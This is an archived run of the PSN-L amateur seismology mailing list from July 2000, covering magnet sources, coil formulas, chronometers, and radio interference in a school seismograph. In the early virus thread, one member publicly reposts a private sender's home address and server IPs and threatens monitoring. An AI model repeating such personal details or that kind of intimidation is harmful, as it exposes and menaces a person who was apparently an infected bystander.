Istanbul, Turkey. Is there some internet authority that the dissemination of this virus should be reported to? __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Virus Warning From: Ken Navarre kjn@.......... Date: Wed, 19 Jul 2000 09:21:16 -0700 (PDT) The best option is to delete ALL *.VBS attachments before opening them if they come from an unknown source. I make it a policy to delete ALL *.VBS files without opening even if I know the individuals. Its just not worth the trouble... Ken __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: Karl Cunningham karlc@....... Date: Wed, 19 Jul 2000 10:10:05 -0700 This is a known virus that is currently on the loose. See http://www.symantec.com/avcenter/venc/data/vbs.freelink.html for more information about it. Karl At 06:20 AM 7/19/2000 -1000, you wrote: >The source of this virus, superonline.com, is located in Istanbul, >Turkey. > >Is there some internet authority that the dissemination of this virus >should be reported to? __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Notification: From: "Mike Taylor" mike@................. Date: Wed, 19 Jul 2000 10:18:38 -0700 TO PSN: My name is Mike Taylor. Moments ago, I had e-mailed the following to the person who sent the virus. Ahmet Ercan, Hello, or should I say, "Merhaba"...& Iyi günler Your attachment "links2.vbs" had a virus!!! If this was done intentionally to cause a possible problem amongst the PSN, or elsewhere, please revaluate the situation, grow up, and remove your self from the network. I speak for all, we do not have the time nor patience for games of immaturity. Mr. Ahmet Ercan, of http://www.superonline.com/...your address and personal information was found to be located in Istanbul, Turkey, an old city whose geographical location is at point of Asia and Europe, The Black Sea and the Mediterranean region. _____________________________ Ahmet Ercan Ahmet Adnan Saygun cad. No 54 Istanbul, ulus 80620 TR Administrative Information: I'll Hold from placing on the web.... But we do have your personal information ! Domain servers in listed order: ALPHA1.SUPERONLINE.COM 212.252.119.3 ALPHA2.SUPERONLINE.COM 212.252.119.4 _____________________________________________________ I had notified a contact of mine so that they may monitor the activity from your servers addresses, as well as the activity from your area of physical address. If this was done unintentionally, than too bad it came came from your address. In the future, be extra careful on what attachments you may open. Fortunately, I wasn't infected with the virus. I have a great warning device... Cheers, and a Iyi günler, Iyi aksamlar, Iyi geceler, &.... Allahaismarladik Mike Taylor ************************************* Mike Taylor, Geoscientist Executive Director Oregon Geological Society PO Box 3411 Hillsboro, OR 97123 United States 503.320.2139 cellular mike@................. http://www.oregongeology.org

TO=20 PSN:
 
My name is = Mike Taylor.=20 Moments ago, I had e-mailed the following to the person who sent the=20 virus.
 
Ahmet Ercan,
Hello, or = should I say,=20 "Merhaba"...& Iyi g=FCnler
Your attachment "links2.vbs" had a = virus!!! =20
If this was=20 done intentionally to cause a possible problem amongst the PSN, or=20 elsewhere, please revaluate the situation, grow up, and remove your = self=20 from the network.
I speak for all, we do not have the time nor patience for = games of=20 immaturity. Mr. Ahmet Ercan, of http://www.superonline.com/...your address and = personal=20 information was found to be located in Istanbul, Turkey, an=20 old city whose geographical location is at point of Asia = and=20 Europe, The Black Sea and the Mediterranean region.=20
_____________________________
Ahmet=20 Ercan
Ahmet=20 Adnan Saygun cad. No 54
Istanbul, ulus 80620
TR

Administrative=20 Information:  I'll Hold from placing on the web.... But we do have = your=20 personal information !

Domain servers in listed=20 order:
ALPHA1.SUPERONLINE.COM 212.252.119.3
ALPHA2.SUPERONLINE.COM = 212.252.119.4
_____________________________________________________
I had=20 notified a contact of mine so that they may monitor the activity = from your=20 servers addresses, as well as the activity from your area of = physical=20 address.
If this was done = unintentionally,=20 than too bad it came came from your address. In the future, be extra = careful on=20 what attachments you may open.
Fortunately, I wasn't infected with = the virus.=20 I have a great warning device...
Cheers, = and a Iyi=20 g=FCnler, Iyi aksamlar, Iyi geceler, &....=20 Allahaismarladik
Mike=20 Taylor








*************************************
Mike Taylor,=20 Geoscientist
Executive Director
Oregon Geological = Society
PO Box=20 3411
Hillsboro, OR 97123
United States
503.320.2139 =20 cellular
mike@.................
http://www.oregongeology.org
 
Subject: magnet info From: sean@........... Date: Wed, 19 Jul 2000 12:51:06 -0500 (CDT) I have found a useful source of magnets in the McMaster Supply catalog (www.mcmaster.com; 3000 page catalog 630-833-0399). They have two pages of Alnico-5 and Alnico-8, and another two pages of rare earth magnets and ceramic multipoles. I am using a bonded neodymium ring magnet for a new feedback transducer. I think that their offering is more complete and consistent than Edmund Scientific. THey have some rather large offerings. Also, the magazine "Motion Control" (www.isa.org)) recently had a two part article on the characteristics and manufacture of NdFeB (neodymium) magnets in their June and July issues. The June issue goes into details of linear motors or voice coil motors, which seismometer feedback transducers are, or moving coil velocity sensors are the reverse of, using either cylindrical (disk) or ring magnets. There is a table of field strength B vs coercivity H for various alloys and fabrication methods. It clearly shows the up to 5 to 1 improvement of neo methods over Alnico or ceramic ferrite, with pricey Samarium-Cobalt in the middle. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Virus From: "Al Allworth" allworth@.............. Date: Wed, 19 Jul 2000 11:22:42 -0700 I received it around midnight (pacific) and it came twice, about 15 minutes apart. My virus checker (Panda Antivirus) caught it both times as it was received. I'm glad someone tracked it down. There should be someone to report it to. _______________________________ Al Allworth On the Beautiful Southern Oregon Coast ________________________________ ----- Original Message ----- From: "cplyler" To: Sent: Wednesday, July 19, 2000 4:47 AM Subject: Virus > The email from: Ahmet Ercan has a virus attachment, > do not open. > > Charlie Plyler > Elfrad Group > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: "UNAL ONBASLI" onbasli@............. Date: Thu, 20 Jul 2000 01:25:58 +0300 in fact there are no legal internet authorities in Turkey. I am Turkish maybe I can tell this virus event to the legal justice in Turkey. ----- Original Message ----- From: macsmith To: Sent: Wednesday, July 19, 2000 7:20 PM Subject: Re: Check this > The source of this virus, superonline.com, is located in Istanbul, > Turkey. > > Is there some internet authority that the dissemination of this virus > should be reported to? > > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Check this From: The Lahrs johnjan@........ Date: Wed, 19 Jul 2000 17:49:31 -0600 It is pointless taking it out on the fellow who sent the virus attachment! The nature of this type of virus is that once someone has become infected, then the virus sends itself to that person's entire address book. Since this is an old virus it is very unlikely that he did anything other than click on a ..vbs attachment that came from some other unsuspecting person. Let's get back to seismology :-) John PS. I wouldn't have sent my first message on this topic if I had looked closely and seen that there were already warnings on the PSN that a virus had been sent to the list. * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: "Longitude" From: barry lotz gbl@....... Date: Thu, 20 Jul 2000 17:02:22 -0700 Hi All I don't know how many of you had the opportunity to see the cable channel "A&E" program called "Longitude". It was a very interesting program about a 16 th century british gent who was trying to develope a accurate clock for ocean vessels, and a 20 th century gent who was trying to restore his forgotten clocks. Time being important for ship location at the time. I had to laugh since it had interesting parallels with seismological instrumentation and it's headaches. Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: magnet info From: barry lotz gbl@....... Date: Thu, 20 Jul 2000 17:09:05 -0700 Sean Thomas Will you keep us posted about the new feedback coil/magnet and it's geometry and strength? I would like to try something other than a RS sum woofer, though it seems to do the trick. Regards Barry PS Is "Motion Control" a different magazine from "Motion"? __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ELF/ULF Precursor From: Arie Verveer ajbv@............ Date: Fri, 21 Jul 2000 11:50:40 +0800 Hi, This may be of interest. In the event list the file "000720a.au4" shows the ELF/ULF background for the Mb6.0 "Honshu" quake. My stations location was placed at the quakes location to show the exact time of the quake. Note the background change at the time of the quake. If this is true then a ULF magnetic field was generated at the time of the quake. Remember i'm a long way from the quake. So far the data suggests that large quakes deeper than 33 kilometres seem to generate some sort of effect. As always more data is needed, so it would be best to put it in the interesting basket. The Mw 6.4 (17/July/2000) Hindu Kush quake seemed to generate a precursor event. cheers Arie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: magnet info From: Bob Smith bobsmith5@........ Date: Fri, 21 Jul 2000 07:01:35 -0400 You should see also, PCIM (Power Conversion and Intelligent Motion) magazine. They span this field very nicely. Its an excellent, "freebie" industry rag. Try http://www.pcim.com Bob Smith barry lotz wrote: > > Sean Thomas > Will you keep us posted about the new feedback coil/magnet and it's > geometry and strength? I would like to try something other than a RS sum > woofer, though it seems to do the trick. > Regards > Barry > > PS Is "Motion Control" a different magazine from "Motion"? > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: "Longitude" From: ted@.......... Date: Fri, 21 Jul 2000 08:58:06 -0400 I saw part of the program and it brought back memories of seeing Harrison's clocks at the Royal Observatory in Greenwich about 3 years ago. I would recommend reading Dava Sobel's book of the same name on which the A&E program is based. She did a *great* job. There is also a larger, more recent edition called "Illustrated Longitude" with hundreds of photos and engravings. The construction work on the larger clocks is flawless, they are works of art as well as engineering. However the most incredible thing was to see the contrast between the first two or three clocks which were around 3-4 cubic feet in size, and the one which finally won him the prize which was like an overgrown pocket watch about 5" in diameter and an inch thick. I always consider that a reminder not to get too hung up on any one approach to a problem. Now back to work on the design of that ocean-going Lehman... Regards, Ted barry lotz on 07/20/2000 08:02:22 PM Please respond to psn-l@.............. To: PSN-L Mailing List cc: Subject: "Longitude" Hi All I don't know how many of you had the opportunity to see the cable channel "A&E" program called "Longitude". It was a very interesting program about a 16 th century british gent who was trying to develope a accurate clock for ocean vessels, and a 20 th century gent who was trying to restore his forgotten clocks. Time being important for ship location at the time. I had to laugh since it had interesting parallels with seismological instrumentation and it's headaches. Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Nuclear Blast From: "D. Hill" n0ssy@.......... Date: Fri, 21 Jul 2000 10:42:37 -0600 Can anyone check their records for an event around Nov 5. 1999. See related story at this URL: http://www.sightings.com/general2/warheard.htm Regards, Dewayne Hill __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: magnet info From: CapAAVSO@....... Date: Sat, 22 Jul 2000 09:33:03 EDT In a message dated 7/19/00 1:52:33 PM Eastern Daylight Time, sean@........... writes: << I have found a useful source of magnets in the McMaster Supply catalog (www.mcmaster.com; 3000 page catalog 630-833-0399). They have two pages of Alnico-5 and Alnico-8, and another two pages of rare earth magnets and ceramic multipoles. I am using a bonded neodymium ring magnet for a new feedback transducer. I think that their offering is more complete and consistent than Edmund Scientific. THey have some rather large offerings >> Sean-Thomas, Thanks for the above information. McMaster has a huge offering of magnets available, an order of magnitude more than Edmund Scientific. I found just what I wanted to replace the rather temperature-sensitive "Wondermagnet" Neodymium magnets I was using on my McWilliams torsion-balance magnetometer. Alnico magnets are much less temperature sensitive than the rare earth magnets. I ordered an Alnico 8 magnet 3/8-inch diameter by 4-inches long. Alnico 8 has a lower temperature coefficient than the more commonly available Alnico 5. For my purpose a favorable temperature coefficient is more important than field strength. In a torsion balanced magnetometer the TC of the magnet and the TC of the torsion wire add to cause drift error. Many thanks, Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: coil/magnet design From: sean@........... Date: Sat, 22 Jul 2000 12:14:38 -0500 (CDT) Barry, The magazine "Motion Control" is different from "Motion"; both are industry freebies with lots of advertising and free literature. Regarding the new coil/magnet transducer: I described the coil winding on December 26, and the magnet made from parts bought from McMaster on January 31, which included info on the generator constant of the assembly. Do I need to repeat the postings? I haven't had time to scan the drawings and post photos. With the 100 ohm, 1200 turn coil producing about 10 Newtons/Ampere (Volts/M/sec), the output is about the same as the large speaker magnet, but the coil clearance is such that about +,- 2 mm of movement at a distance of only 10 cm from the flexure point does not result in jamming. This would allow for a leaf-spring vertical of half the size of the original. The new magnet is only 1.5" OD, and the coil is 5/8" ID x 3/4" OD and 5/8" long at the inside winding. Let me know if I need to repeat the coil/magnet info. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: coil/magnet design From: barry lotz gbl@....... Date: Sat, 22 Jul 2000 11:00:53 -0700 Sean Thomas I responded because my designs frequently change and I thought maybe you had improvements. I do have your posting, and in fact I bought the magnet as well. Small is where I'm going. I currently have a 10" leaf spring vertical. It however is using a 6" speaker coil and homemade lvdt. It still records teleseismic events well but has a poor response to events closer than ~200k. My full size smt8 style sensor responds better to local events as I anticipated. I have a homemade calibrated vrdt which I made. Combined with a homemade feedback coil which you have described, I am hopeing to put everything in a sealed insulated ammo box for field use. Thanks again for all your help over time. Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re[2]: "Longitude" From: Angel Rodriguez angel@............ Date: Sun, 23 Jul 2000 07:12:30 -0500 Hello All, For those that missed the show, the book is a great book. A real quick read that even my wife enjoyed and passed to her dad. It may be one of the few books that I have read that she also read! -- Regards, Angel mailto:angel@............ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ships chronometers From: sean@........... Date: Sun, 23 Jul 2000 21:46:04 -0500 (CDT) I also found the TV production of "Longitude" rewarding to watch, although I was much more interested in the original creativity of the Harrisons and their battles with what would today be called "academia" and the astronomers' complaint that the Harrisons weren't qualified to do what they had obviously already accomplished. In the early days of seismology the best chronometers were large compensated pendulums. The earliest need for a portable time source was for timing large blasts that would be recorded by fixed stations. For this early work ships chronometers were used. Later, attempts at portable field seismographs were made, so the chronometers were equipped with contact closures to output a minute and hour mark. I have two such chronometers in my collection. They are gimbal mounted in rugged cases. They were made in 1941 by the Hamilton Company. These ships chronometers are about the same size as the "H-4" of the Harrisons. They have the temperature compensated balance wheel that solved the longitude problem. They also have some common features of ships chronometers, such as an indicator dial to show how wound up the clock is, with a 48 hour capacity, with a ratcheted winding key (to keep a sturdy seaman from breaking the gear). They are difficult to set (the glass cover has to be removed) to prevent the time from being changed during a voyage. OF course, they were wound daily, so they never stopped, and were as accurate as the drift error rate that was determined at an observatory when they were started. A recent Discovery show showed a set of three on a modern carrier. (three of any doubtable instrument, which includes tiltmeters, magnetometers, and such, provides some confidence of the data of the two more coherent instruments). Of course, the ships's navigation is based on modern electronics. The the mechanical chronometers are a teaching tool, with which the sailors also learn to use a sextant to locate themselves. But they also provide a last ditch survival of time in the event that the EMPs (electromagnetic pulse) of nuclear airbursts in the opening salvos of armageddon wipe out all the satellites (a reason that GPS has 24 or more) and gets past all the hardened electronics aboard the ship. Without any time referenced to the meridian, even a modern ship can be as lost at sea as the British were in "Longitude". Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Coil winding formula ? From: Arie Verveer ajbv@............ Date: Mon, 24 Jul 2000 15:08:36 +0800 Hi, A long time ago, far, far away, I used to remember a simple formula that gave the length of wire for a coil, given the number of turns, internal diameter, length of coil and gauge of the wire. But alas, I cant remember it, so if anyone knows such a "winding" formula, I would be most appreciative. Or anything like it. Arie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Coil winding formula ? From: ChrisAtUpw@....... Date: Mon, 24 Jul 2000 11:53:23 EDT Dear Arie, << Hi, A long time ago, far, far away, I used to remember a simple formula that gave the length of wire for a coil, given the number of turns, internal diameter, length of coil and gauge of the wire. But alas, I can't remember it, so if anyone knows such a "winding" formula, I would be most appreciative. The fields on the coil axis are easily calculated. Off-axis fields involve solving elliptic integrals. I will give the field H in Oersteds, all dimensions in cm, the current i in amps and Pi= 3.142. To change from Oersteds to Tesla, multiply by 10 ^ -4 For infinite solenoids H = 0.4 x Pi x N x i N is in turns per cm For shorter solenoids H = 0.2 x Pi x N x i x (cos(theta1) - cos(theta2)) N is in turns / cm. theta1 and theta2 are the angles between the axis and the ends of the coil at the point being considered. You may need to be a bit careful if using a computer programme to check how theta = arctan(a/d) is evaluated as d goes through zero and becomes negative at the end of the coil, where a is the coil radius and d is the disance from the point considered to one end of the coil. For short large diameter coils you have a choice. H = 0.2 x Pi x Nt x i x sin(theta) / a where Nt is the TOTAL number of turns and theta is the angle the coil makes with the axis at the point d from the coil centre. The alternative formula involves substituting a and d to give sin(theta). H = 0.2 x Pi x Nt x a^ 2 x i / (a^2 + d^2)^1.5 The '^' is used for 'raised to the power of' and 'x' for 'multiplied by'. For Helmholtz coils, if EACH has Nt turns separated by distance a between the coils, the formula is H = 3.2 x Pi x Nt x i / (5^3)^0.5 x a where (5^3)^0.5 = sqrt(125) For the length of wire used, this is 2 x Pi x a x N per cm for a solenoid or 2 x Pi x Nt x a for each Helmholtz coil. For a short fat close wound coil of length l, internal radius a1 and external radius a2, the wire length is 2 x Pi x N x l x (a2 - a1) x N x (a1+ a2)/2 = Pi x N^2 x l x (a2^2 - a1^2) If the dia of the wire is d cm and the coil is close wound, N = 1/d turns / cm, but 'achieved values' may be a few % less. Always allow some excess for connections at the ends. The dia of enamelled wire is usually quoted as the dia of the copper, but the thickness of the enamel or the actual turns / cm, in, etc may be quoted. For fine cotton coated enamel wire, I suggest that you see just how many turns you can actually wind per cm. I found that it varies a bit. If you 'wave wind' the coil for low interwire capacitance, you need to be able to estimate the 'filling factor', which is determined by the coil winding machine. Check in the instruction manual. Hope that this helps, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: RE: Coil winding formula ? From: RLLaney@....... Date: Mon, 24 Jul 2000 12:16:02 EDT Arie: The following formula is taken from the ARRL Amateur Radio Handbook and is for the inductance of a single-layer air-core: L = d(squared) n(squared) / 18d + 40 l L = inductance in microhenrys d = coil diameter in inches l = coil length in inches n = number of turns Notation in connection with the use of this formula says that this formula is a close approximation for coils having a length equal to or greater than 0.4d. There are formulas for winding loop antennas that take into account the wire diameter. Hope this information is helpful. Bob Laney Herndon, VA __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: coil formula From: sean@........... Date: Mon, 24 Jul 2000 13:19:28 -0500 (CDT) Arie, If you are considering a coil/magnet as for a seismometer, as compared to an air-inductor as in a radio transmitter, perhaps the handiest formula, which I have posted once-upon-a-time, is G = B * L * 10^6 Newtons/Ampere (or volts/meter/second) Where B is the magnetic field in gauss, and L is the total length of the winding in centimeters. If one plays with the math (from below), all the other physical dimensions cancel out. You can get L by knowing the coil resistance and the wire size. If you know the coil parameters and can measure the generator constant, this can be used to determine the stength of your magnet(s). The more elaborate formulas for the generator constant of a multi-layer coil in a magnetic field are in the appendix of Riedesel: "Limits of Sensitivity of Inertial Seismometers with Velocity Transducers and Electronic Amplifiers"; by Mark A Riedesel, R.D.Moore, and J.A.Orcutt; Bulletin of the Seismological Society of America, Vol. 80, No. 6, December 1990. Or would you like me to post the formulas.? Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: strange jumps From: "John Tacinelli" John.Tacinelli@........ Date: Mon, 24 Jul 2000 21:36:45 -0500 Hi, My name is John Tacinelli and I am new to the list. I have one of the = Ward's seismographs. It is working pretty well ( I picked up the Kodiak = Island quake on the 10th.) My problem is that at 8:45 PM every night I = get a sudden increase (or decrease) in voltage through my amplifier that = causes the trace to move off to the right hand side of the screen. It = stays there until 5:45 every morning. Then it goes right back. The = seismograph itself doesnt seem to move. I have run it on an uninterruptibl= e power supply and it still does it. I watched it happen tonight and I = could detect no environmental change in the area of the seismograph. =20 The seismograph is set up at the school where I teach. Maintenance = thought it might be the outside lights turning on but that happens much = earlier. That timing happens to coincide with the setting and rising of = the sun (pretty close) but I can't think of anything solar that could = affect a magnetic coil inside a building in a time span of about 2 = seconds. I should mention that I have contacted Wards and they are = stumped. Also the timing seems to be getting earlier, both in the evening = and morning by about 30-40 seconds every day. If anyone can help me out I = would really appreciate it since this problem is very vexing. Thanks = alot. I hope to be a regular contributor and I look forward to hearing = from you all. John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: SW6079@....... Date: Mon, 24 Jul 2000 23:09:06 EDT Hi John... That is an unusual one. I know this sounds silly, but have you monitored the line voltage? I get (In Bothell Wa, that is) A four to six volt change at just about those times every single day. Probably coincides with some compensation network in the power grid. My stuff is unaffected as it is very highly regulated. Good Luck. Mike. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: ChrisAtUpw@....... Date: Mon, 24 Jul 2000 23:53:37 EDT In a message dated 25/07/00 03:40:20 GMT Daylight Time, John.Tacinelli@........ writes: > My problem is that at 8:45 PM every night I get a sudden increase (or > decrease) in voltage through my amplifier that causes the trace to move off > to the right hand side of the screen. It stays there until 5:45 every > morning. Then it goes right back. The seismograph itself doesn't seem to > move. I have run it on an uninterruptible power supply and it still does it. > I watched it happen tonight and I could detect no environmental change in > the area of the seismograph. With the alternative PSU not changing things, it sounds more like a RFI problem. Does your utility company control the times at which it supplies low cost electricity and how does it do it? Does it use low level RF on the line / is there any other service which corresponds to these times? Do any companies read meters using pulses / RF on the supply? Does a loop aerial and a diode pick up anything? Does a radio tuned off station pick up anything? Have a look with a 'scope and see if there is interference coming through the supply during the night? Is there any heavy industry locally which uses night time power and feeds spikes onto the line? Is there any power used for heating or similar purposes in the building? Can you run on batteries for an hour and turn off the building / floor supply entirely? Last thought - I notice the .edu - could some young genius be playing a practical joke? With a time clock? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Coil winding formula ? From: barry lotz gbl@....... Date: Mon, 24 Jul 2000 21:17:15 -0700 Arie "And now for something completely different". If your question is for determining the length of wire for a multiple turn coil , I would use the average diameter(to get the average circumference- not considering nesting condition ),length, and wire diameter. let see... looking at a cross section, if # of turns = (L/gage)* (b/gage) , where L=coil length and b = coil radial thickness and if total length of the wire= (# of turns)*(d+b)*pi , where d is the coil ID assuming (b+d)*pi is the average circumference of a turn then solve the first equation for b and substitute in second equation and punt- maybe there is a simpler way ----- I have a slightly different formula(s) for inductance (got it from that small information pocket book available at electronic store checkout counters). For single layer coil: I=(R^2 * N^2)/(9*R+10*L) For multiple layers: I=(0.8*(R^2*N^2)/(6*R+9*L+10*B)) where: I= inductance in microhenrys N=number of turns R=radius to center of windings(inches) B= radial thickness of windings(inches) L=length of coil(inches) Regards Barry Arie Verveer wrote: > Hi, A long time ago, far, far away, I used to remember a simple formula > that gave the length of wire for a coil, given the number of turns, internal > diameter, length of coil and gauge of the wire. But alas, I cant remember > it, so if anyone knows such a "winding" formula, I would be most > appreciative. Or anything like it. > > Arie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: Doug Crice dcrice@............ Date: Mon, 24 Jul 2000 21:54:25 -0700 John Tacinelli wrote: > My problem is that at 8:45 PM every night I get a sudden increase (or decrease) in voltage through my amplifier that causes the trace to move off to the right hand side of the screen. It stays there until 5:45 every morning. Then it goes right back. The seismograph itself doesnt seem to move. I have run it on an uninterruptible power supply and it still does it. I watche d it happen tonight and I could detect no environmental change in the area of the seismograph. > The seismograph is set up at the school where I teach. Maintenance thought it might be the outside lights turning on but tha t happens much earlier. That timing happens to coincide with the setting and rising of the sun (pretty close) but I can't thin k of anything solar that could affect a magnetic coil inside a building in a time span of about 2 seconds. If it's synchronized with sunrise & sunset, then it's probably related to the streetlights that are turned on/off with photoelectric cells. I would look for noise on the power line though, I like the battery operation experiment. At Geometrics, we had a problem with a new magnetometer design that was noisy until about 3 AM. Turns out that BART, the Bay Area Rapid Transit, generated a magnetic field running DC trains that we could see 50 miles away. At 3 AM the trains stopped and the noise went away. Of course that wasn't technically an instrument noise problem, it was a real magnetic field we were measuring. Doug Crice __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: "Charles R. Patton" charles.r.patton@........ Date: Mon, 24 Jul 2000 22:20:04 -0700 John, you said, =93That timing happens to coincide with the setting and rising of the sun (pretty close).=94 Also you said, =93=85timing seems t= o be getting earlier, both in the evening and morning by about 30-40 seconds every day.=94 I would suggest you see if there is a local AM radio station that only has a day license and has to go off the air at sunset. You might be picking up RFI (I agree with Chris Chapman that it might be an RFI interference.) I notice you used the address, =93Rochester Community an= d Technical College.=94 Maybe there is a student station (AM or FM) associated with the Drama/Communications dept. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: Karl Cunningham karlc@....... Date: Mon, 24 Jul 2000 23:31:49 -0700 Another thought: I'm not familiar with the Ward's seismometer, but can you separate the electronics from the mechanical part of things? If it is possible to operate the amplifier and other electronics with the source being a resistor rather than the instrument itself, that could isolate it to a power supply or RFI getting into the electronics. Also, if the exact time of the change seems to be a function of clouds in the sky, that would point toward something associated with a light sensor somewhere. If the unit was operating when the time changed (assuming it did in your area) from standard to daylight savings time, did the timing of the effect follow the change in clocks? Keep us posted about what you find. Regards, Karl Cunningham At 09:36 PM 7/24/2000 -0500, you wrote: >Hi, >My name is John Tacinelli and I am new to the list. I have one of the Ward's seismographs. It is working pretty well ( I picked up the Kodiak Island quake on the 10th.) My problem is that at 8:45 PM every night I get a sudden increase (or decrease) in voltage through my amplifier that causes the trace to move off to the right hand side of the screen. It stays there until 5:45 every morning. Then it goes right back. The seismograph itself doesnt seem to move. I have run it on an uninterruptible power supply and it still does it. I watched it happen tonight and I could detect no environmental change in the area of the seismograph. >The seismograph is set up at the school where I teach. Maintenance thought it might be the outside lights turning on but that happens much earlier. That timing happens to coincide with the setting and rising of the sun (pretty close) but I can't think of anything solar that could affect a magnetic coil inside a building in a time span of about 2 seconds. I should mention that I have contacted Wards and they are stumped. Also the timing seems to be getting earlier, both in the evening and morning by about 30-40 seconds every day. If anyone can help me out I would really appreciate it since this problem is very vexing. Thanks alot. I hope to be a regular contributor and I look forward to hearing from you all. > >John Tacinelli >Earth Science Instructor >Rochester Community and Technical College >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: Bob Smith bobsmith5@........ Date: Tue, 25 Jul 2000 09:04:06 -0400 Heres a really off the wall thought. Do you have a local radio or TV station that drops carrier and starts up again at the posted times? Maybe you have some RFI problems. Bob Smith John Tacinelli wrote: > > Hi, > My name is John Tacinelli and I am new to the list. I have one of the Ward's seismographs. It is working pretty well ( I pi cked up the Kodiak Island quake on the 10th.) My problem is that at 8:45 PM every night I get a sudden increase (or decrease) in voltage through my amplifier that causes the trace to move off to the right hand side of the screen. It stays there until 5 :45 every morning. Then it goes right back. The seismograph itself doesnt seem to move. I have run it on an uninterruptible power supply and it still does it. I watched it happen tonight and I could detect no environmental change in the area of the s eismograph. > The seismograph is set up at the school where I teach. Maintenance thought it might be the outside lights turning on but tha t happens much earlier. That timing happens to coincide with the setting and rising of the sun (pretty close) but I can't thin k of anything solar that could affect a magnetic coil inside a building in a time span of about 2 seconds. I should mention tha t I have contacted Wards and they are stumped. Also the timing seems to be getting earlier, both in the evening and morning by about 30-40 seconds every day. If anyone can help me out I would really appreciate it since this problem is very vexing. Tha nks alot. I hope to be a regular contributor and I look forward to hearing from you all. > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: D Collins dcollin@........... Date: Tue, 25 Jul 2000 07:49:30 -0700 Hi all, Everyone seems to have decided that the problem is electrical, but ... You didn't say where you are located. In the southwest desert one must pay attention to the heating effects of the sun:<) I had placed a seismo in a building at our school, but, unfortunately, it was against the south wall of the building. The 40-50F temp change between day and night caused a very nice shift in the zero point each day. The whole building was heating up and tilting! Moving to another location solved the problem. When you hear the thunder of hooves, think horses, not zebras. Darrell __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: those strange jumps From: "John Tacinelli" John.Tacinelli@........ Date: Tue, 25 Jul 2000 15:54:01 -0500 HI again, I am overwhelmed with good ideas! Thank you all so much. I will try do = deal with each. First of all the line voltage. I have not checked this, = however since the UPS showed the same problem, I don't think it is the = line voltage. I called the utility company and they said there were no = shifts related to capacitors at that time. They said there was a shift in = usage around that time but they couldn't be very specific. I'm pretty = sure its not a joke, our students are not that bright.... I thought about = streetlights but each is on its own photo cell and so they come on = irregularly. I did not have the seismograph running during the time = change so I don't know if it tracks. We are decidedly not in the desert = here in Minnesota so I doubt it is the building heating and cooling, = besides, this is too regular for something like that. =20 I like the idea put forward by Charles and Bob about AM radio interference.= I called around and there are two radio stations that have restricted = licences. One goes off the air at 8:45 and back on at 5:45. Very = interesting. The other station changes power level from 5000 to 1000 = watts at about that time. They couldn't be more specific. The station = that goes off air says that I could shield the coil with grounded aluminum = foil. So I took the box that I use as an air cover and 